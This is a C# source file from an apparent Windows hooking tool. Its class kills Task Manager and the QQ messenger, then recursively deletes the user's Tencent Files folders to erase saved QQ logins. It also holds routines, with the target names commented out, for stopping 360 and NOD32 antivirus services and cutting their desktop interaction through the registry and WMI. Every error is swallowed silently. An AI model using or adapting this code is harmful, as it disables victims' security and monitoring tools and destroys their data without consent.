﻿namespace WindowsFormsHooks.Common
{
    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Threading;
    using System.Diagnostics;
    using System.IO;
    using System.ServiceProcess;
    using Microsoft.Win32;
    using System.Management;

    public class KillProcess
    {
        /// <summary>
        /// 另起一个线程杀死当前进程
        /// </summary>
        public void KillSafeProcessThread()
        {
            new Thread(new ThreadStart(KillSafeProcess)).Start();
        }

        /// <summary>
        /// 杀死安全管理进程
        /// </summary>
        public void KillSafeProcess()
        {
            KillProcessList(GetKillProcess());
        }

        /// <summary>
        /// 得到要杀死的进程列表
        /// </summary>
        /// <returns></returns>
        private List<string> GetKillProcess()
        {
            List<string> ProcessList = new List<string>();
            //ProcessList.Add("egui");//NOD32
            //ProcessList.Add("360rp");//360
            //ProcessList.Add("360sd");//360
            ProcessList.Add("QQ");
            ProcessList.Add("taskmgr");//任务管理器
            return ProcessList;
        }

        /// <summary>
        /// 杀死进程
        /// </summary>
        /// <param name="ProcessList"></param>
        public void KillProcessList(List<string> ProcessList)
        {
            try
            {
                foreach (string ProcessName in ProcessList)
                {
                    Process[] pc = Process.GetProcessesByName(ProcessName);
                    foreach (Process OneProcess in pc)
                    {
                        OneProcess.Kill();
                    }

                    if (ProcessName == "QQ")
                    {
                        Thread thDelQQ = new Thread(new ThreadStart(DeleteQQPassword));
                        thDelQQ.Start();
                    }
                }
            }
            catch
            { }
        }

        /// <summary>
        /// 另起一个线程杀死自己其它进程
        /// </summary>
        public void CloseMySelfWinThread()
        {
            new Thread(new ThreadStart(CloseMySelfWin)).Start();
        }

        /// <summary>
        /// 关闭先前打开的自己进程
        /// </summary>
        public void CloseMySelfWin()
        {
            Process[] pc = Process.GetProcessesByName("WindowsFormsHooks");
            if (pc.Length <= 1)
            {
                return;
            }
            int ProcessID = pc[0].Id;
            DateTime dt = pc[0].StartTime;
            for (int i = 1; i < pc.Length; i++)
            {
                if (pc[i].StartTime > dt)
                {
                    dt = pc[i].StartTime;
                    ProcessID = pc[i].Id;
                }
            }

            foreach (Process OnePc in pc)
            {
                if (OnePc.Id != ProcessID)
                {
                    OnePc.Kill();
                }
            }
        }

        /// <summary>
        /// 删除QQ登陆时保存的密码
        /// </summary>
        public void DeleteQQPassword()
        {
            string QQFilePath = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\Tencent Files\\";
            string[] SubDirectory = Directory.GetDirectories(QQFilePath);
            foreach (string dir in SubDirectory)
            {
                DirectoryInfo di = new DirectoryInfo(dir);
                if (di.Name != "All Users")
                {
                    di.Delete(true);
                }
            }
        }


        /// <summary>
        /// 另起一个线程杀死进程
        /// </summary>
        public void StopSafeServiceThread()
        {
            new Thread(new ThreadStart(StopSafeSerivce)).Start();
        }

        /// <summary>
        /// 停止安全服务
        /// </summary>
        public void StopSafeSerivce()
        {
            StopService(GetStopService());
        }

        /// <summary>
        /// 查看要关闭的服务
        /// </summary>
        /// <returns></returns>
        private List<string> GetStopService()
        {
            List<string> ServiceList = new List<string>();
            //ServiceList.Add("ZhuDongFangYu");//360主动防御的服务项
            //ServiceList.Add("ekrn");//NOD32
            return ServiceList;
        }

        /// <summary>
        /// 检查服务存在的存在性
        /// </summary>
        /// <param name=" NameService ">服务名</param>
        /// <returns>存在返回 true,否则返回 false;</returns>
        private bool isServiceIsExisted(string NameService)
        {
            ServiceController[] services = ServiceController.GetServices();
            foreach (ServiceController s in services)
            {
                if (s.ServiceName.ToLower() == NameService.ToLower())
                {
                    return true;
                }
            }
            return false;
        }

        /// <summary>
        /// 取消服务与桌面互交
        /// </summary>
        /// <param name="ServiceName"></param>
        private void CancelToDesktopInService(string ServiceName)
        {
            RegistryKey rk = Registry.LocalMachine;
            string key = @"SYSTEM\CurrentControlSet\Services\" + ServiceName;
            RegistryKey sub = rk.OpenSubKey(key, true);
            int value = (int)sub.GetValue("Type");
            if (value < 256)
            {
                //sub.SetValue("Type", value | 256);//设置为可以
                sub.SetValue("Type", value | 16);//设置为不可以
            }
        }

        /// <summary>
        /// 取消服务与桌面互交
        /// </summary>
        /// <param name="ServiceName"></param>
        private void CancelToDesktopInService2(string ServiceName)
        {
            ManagementObject wmiService = new ManagementObject(string.Format("Win32_Service.Name='{0}'", ServiceName));
            ManagementBaseObject changeMethod = wmiService.GetMethodParameters("Change");
            changeMethod["DesktopInteract"] = false;//true
            ManagementBaseObject OutParam = wmiService.InvokeMethod("Change", changeMethod, null);
        }

        /// <summary>
        /// 停止服务
        /// </summary>
        /// <param name="ServiceList"></param>
        public void StopService(List<string> ServiceList)
        {
            try
            {
                foreach (string name in ServiceList)
                {
                    if (!isServiceIsExisted(name))
                    {
                        ServiceList.Remove(name);
                    }
                }
                foreach (string name in ServiceList)
                {
                    ServiceController sc = new ServiceController(name);
                    if (sc.Status == ServiceControllerStatus.Running || sc.Status == ServiceControllerStatus.StartPending)
                    {
                        CancelToDesktopInService2(name);
                        sc.Refresh();

                        sc.Stop();
                        sc.WaitForStatus(ServiceControllerStatus.Stopped, new TimeSpan(0, 0, 10));
                    }
                    else
                    {
                    }
                    sc.Close();
                }
            }
            catch
            { }
        }
    }
}
